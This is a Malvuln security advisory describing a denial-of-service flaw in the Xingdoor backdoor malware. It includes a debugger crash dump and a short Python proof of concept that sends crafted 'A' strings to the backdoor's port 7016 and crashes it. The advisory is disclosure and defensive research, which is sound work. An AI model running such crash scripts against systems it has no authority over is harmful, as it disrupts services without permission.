Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/89000e259ffbd107b7cc9bac66dcdcf5.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Xingdoor
Vulnerability: Denial of Service
Description: The malware "System_XingCheng" listens on TCP port 7016. Attackers who can send a specially crafted packet, can trigger an int 3 "\xcc" breakpoint debug error causing a disruption in service. The error is a MS Visual C++ Debug Error, occurs when the value of ESP is not properly saved across a function call.
Family: Xingdoor
Type: PE32
MD5: 89000e259ffbd107b7cc9bac66dcdcf5
Vuln ID: MVID-2022-0542
Disclosure: 04/06/2022

Memory Dump:
This dump file has a breakpoint exception stored in it.
The stored exception information can be accessed via .ecxr.
eax=00000000 ebx=00000000 ecx=b30fec4c edx=00000001 esi=00000003 edi=00000003
eip=76feed3c esp=0019f53c ebp=0019f6cc iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
ntdll!ZwWaitForMultipleObjects+0xc:
76feed3c c21400          ret     14h

0:000> .ecxr
eax=00000001 ebx=00384000 ecx=b30fec4c edx=00000001 esi=004027f0 edi=0019fef0
eip=004027de esp=0019fe64 ebp=0019fe78 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
*** WARNING: Unable to verify checksum for Backdoor.Win32.Xingdoor.89000e259ffbd107b7cc9bac66dcdcf5.exe
*** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.Xingdoor.89000e259ffbd107b7cc9bac66dcdcf5.exe
Backdoor_Win32_Xingdoor_89000e259ffbd107b7cc9bac66dcdcf5+0x27de:
004027de cc              int     3

0:000> !analyze -v
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************


FAULTING_IP: 
Backdoor_Win32_Xingdoor_89000e259ffbd107b7cc9bac66dcdcf5+27de
004027de cc              int     3

EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 004027de (Backdoor_Win32_Xingdoor_89000e259ffbd107b7cc9bac66dcdcf5+0x000027de)
   ExceptionCode: 80000003 (Break instruction exception)
  ExceptionFlags: 00000000
NumberParameters: 1
   Parameter[0]: 00000000

DEFAULT_BUCKET_ID:  STATUS_BREAKPOINT

PROCESS_NAME:  Backdoor.Win32.Xingdoor.89000e259ffbd107b7cc9bac66dcdcf5.exe

ERROR_CODE: (NTSTATUS) 0x80000003 - {EXCEPTION}  Breakpoint  A breakpoint has been reached.

EXCEPTION_CODE: (HRESULT) 0x80000003 (2147483651) - One or more arguments are invalid

EXCEPTION_PARAMETER1:  00000000

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

FAULTING_THREAD:  00001928

PRIMARY_PROBLEM_CLASS:  STATUS_BREAKPOINT

BUGCHECK_STR:  APPLICATION_FAULT_STATUS_BREAKPOINT

LAST_CONTROL_TRANSFER:  from 00401596 to 004027de

STACK_TEXT:  
WARNING: Stack unwind information not available. Following frames may be wrong.
0019fe78 00401596 0019fe25 0040112f 004027f0 Backdoor_Win32_Xingdoor_89000e259ffbd107b7cc9bac66dcdcf5+0x27de
0019fe80 0040112f 004027f0 004027f0 00384000 Backdoor_Win32_Xingdoor_89000e259ffbd107b7cc9bac66dcdcf5+0x1596
0019fef0 00402903 00400000 00000000 02783767 Backdoor_Win32_Xingdoor_89000e259ffbd107b7cc9bac66dcdcf5+0x112f
0019ff80 76698654 00384000 76698630 fa8d215c Backdoor_Win32_Xingdoor_89000e259ffbd107b7cc9bac66dcdcf5+0x2903
0019ff94 76fe4a77 00384000 b30fa868 00000000 kernel32!BaseThreadInitThunk+0x24
0019ffdc 76fe4a47 ffffffff 77009ea7 00000000 ntdll!__RtlUserThreadStart+0x2f
0019ffec 00000000 004027f0 00384000 00000000 ntdll!_RtlUserThreadStart+0x1b


FOLLOWUP_IP: 
Backdoor_Win32_Xingdoor_89000e259ffbd107b7cc9bac66dcdcf5+27de
004027de cc              int     3

SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  Backdoor_Win32_Xingdoor_89000e259ffbd107b7cc9bac66dcdcf5+27de

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: Backdoor_Win32_Xingdoor_89000e259ffbd107b7cc9bac66dcdcf5

IMAGE_NAME:  Backdoor.Win32.Xingdoor.89000e259ffbd107b7cc9bac66dcdcf5.exe

DEBUG_FLR_IMAGE_TIMESTAMP:  3f169e33

STACK_COMMAND:  dt ntdll!LdrpLastDllInitializer BaseDllName ; dt ntdll!LdrpFailureData ; ~0s; .ecxr ; kb

FAILURE_BUCKET_ID:  STATUS_BREAKPOINT_80000003_Backdoor.Win32.Xingdoor.89000e259ffbd107b7cc9bac66dcdcf5.exe!Unknown

BUCKET_ID:  APPLICATION_FAULT_STATUS_BREAKPOINT_Backdoor_Win32_Xingdoor_89000e259ffbd107b7cc9bac66dcdcf5+27de

Exploit/PoC:
from socket import *
import time

MALWARE_HOST="x.x.x.x"
PORT=7016

def chk_res(s):
    res=""
    while True:
        res += s.recv(512)
        break
        if "\0" in res or "\n" in res or res == "":
            break
    return res

def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    print(chk_res(s))
    time.sleep(1)
    s.send("a")
    print(chk_res(s))
    s.send("\r\n"+"A"*88+"\r\n")
    time.sleep(1)
    print(chk_res(s))
    time.sleep(1)
    s.send("A"*88+"\n")
    print(chk_res(s))
    
    s.close()


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